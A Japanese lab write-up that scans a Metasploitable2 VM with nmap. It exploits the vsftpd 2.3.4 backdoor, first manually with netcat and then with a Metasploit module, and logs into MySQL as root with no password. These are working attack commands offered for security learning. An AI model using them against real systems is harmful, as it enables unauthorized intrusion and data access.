はじめに
書籍「ハッキング・ラボのつくりかた」p.371-380を参考に、Kalilinux2022.1で検証してみた記事です。
:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
攻撃の第一歩・ポートスキャン
前回からの続き
攻撃の流れ
情報を調査・収集 → 攻撃に利用できそうなサービスを特定 → 攻撃
情報を調査・収集する手段のひとつに、ポートスキャンがある。
ポートスキャンには、nmapコマンドを使う。
まず、ポートスキャンの前に、ネットワーク内に攻撃対象のやられマシンがあるかどうか調べたいので、オプション -snか-sPをつけて、Pingスキャンを実行する。
Pingスキャンは文字通りpingだけを実行するので、開いているポート番号を特定する(ポートスキャン)ことはない。
ポートスキャンの乱用は、ネットワークの管理者などから、ハッキングだと解釈される場合もある。
オプションは、-snか-sPのどちらかを使う。
nmap -sn 192.168.56.0/24
//または
nmap -sP 192.168.56.0/24
コマンドの実行結果から、やられマシンのローカルIPアドレス(192.168.56.5)を見つけた。
ポートスキャンを実行
ポートスキャンで、
開いているポート番号、サービスのバージョンとOSの種類を調べる。
sudo nmap -sV -O -p- 192.168.56.5
- -sV : バージョンスキャン サービスの脆弱性を調べたいので、サービスのバージョンを検出する
- -O : OSを特定する
- -p- : 1から65535のポート番号を対象にする。
ポート番号65535までの区分は、以下の通り。
- 0-1023番ポート ウェルノウンポート(well known ports)
- 1024-49151番ポート 登録済みポート(registered ports)
- 49152-65535番ポート 動的/プライベートポート(dynamic/private port)
コマンドの実行結果は以下の通り。
Nmap scan report for 192.168.56.5
Host is up (0.00082s latency).
Not shown: 65505 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
33541/tcp open nlockmgr 1-4 (RPC #100021)
38529/tcp open java-rmi GNU Classpath grmiregistry
39200/tcp open status 1 (RPC #100024)
53047/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:1F:D0:54 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 154.32 seconds
同書p.374より
検出されたポート番号のうち、特に気になるものは次の通りです。
- ポート21 : vsftpd
- ポート1524 : Metasploitable root shell
- ポート5900 : VNC
このように例示されているので、ここからハッキングをしてみる。
vsftpdの脆弱性を利用する
同書p.374-375より
vsftpd2.3.4向けのExploitを探します。CVE Details(https://www.cvedetails.com/)やExploit-DB(http://exploit-db.com/)で検索すると、「Backdoor Command Execution」という脆弱性があることがわかります。Exploit-DBの検索結果より、Metasploitに攻撃プログラムが備わっていることもわかります。
解説によると、vsftpd2.3.4にはリモートからコマンド実行を可能とするバックドアが含まれているようです。「:)」を含むユーザー名でFTPにログインすると、ポート6200にバックドアが開きます。ポート6200(TCP)にアクセスすることで、vsftpdの実行権限で任意のコマンドを実行できます。
この脆弱性は2022年現在でも確認できる。
Netcatを利用する
実際にやってみる。
本当に、Metasploitable2上でポート6200(TCP)が開くのか確認するために、以下のコマンドを実行する。
netstat -na | grep 6200
この段階では、まだ開いていないので、何も出力されない。
開いていないことを確認したら、次のコマンドを実行。
nc 192.168.56.5 21
user hoge:)
pass hoge
nc IPアドレス 21
で、ポート21が開かれて、ftpがつながる。
user
コマンドでは、最後が":)"で終わる任意のユーザー名、
pass
コマンドでは、任意のパスワードを指定する。
別の端末から、nc -nv 192.168.56.5 6200
コマンドを実行すると、Metasploitable2で任意のコマンドを実行できる。
この状態で、Metasploitable2上で再度、netstat -na | grep 6200
コマンドを実行すると、6200番ポートが開かれていることが確認できた。
Metasploitでやってみる
RHOSTはMetasploitableのIPアドレスに設定する。
use exploit/unix/ftp/vsftpd_234_backdoor
set rhost 192.168.56.5
show options
exploit
show options
でオプション内容を確認したあと、exploit
を実行する。
exploit後は、Metasploitのコンソールで、Metasplotableで任意のコマンドが実行可能になる。終了したい場合は、exit
コマンド。
Metasploitable root shellの脆弱性を利用
Exploit Database、CVE Detailsともに、情報はなかった。
VNC (protocol 3.3)の脆弱性を利用
Exploit Database、CVE Detailsともに、利用できそうな情報はなかった。
データベースMySQLの脆弱性を利用する
3306番ポートが開いているので、MySQLにアクセスすることができることがわかる。
rootでログインしてみる。
mysql -h 192.168.56.5 -u root
パスワードは求められなかった。
データベースもテーブルも閲覧可能。
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| dvwa |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+--------------------+
select user,password from user;
+------------------+----------+
| user | password |
+------------------+----------+
| debian-sys-maint | |
| root | |
| guest | |
+------------------+----------+
exit;
「脆弱性を利用する」と章にあるが、脆弱性はパスワードが設定されていないという基本的なもので、exploitを利用することもなかった。
Exploit DatabaseやCVE Detailsによると、MySQL 5.0.51aには、いくつかの脆弱性が報告されている。
おわりに
次回は、パスワードクラック
参考にしたもの
「ハッキング・ラボのつくりかた」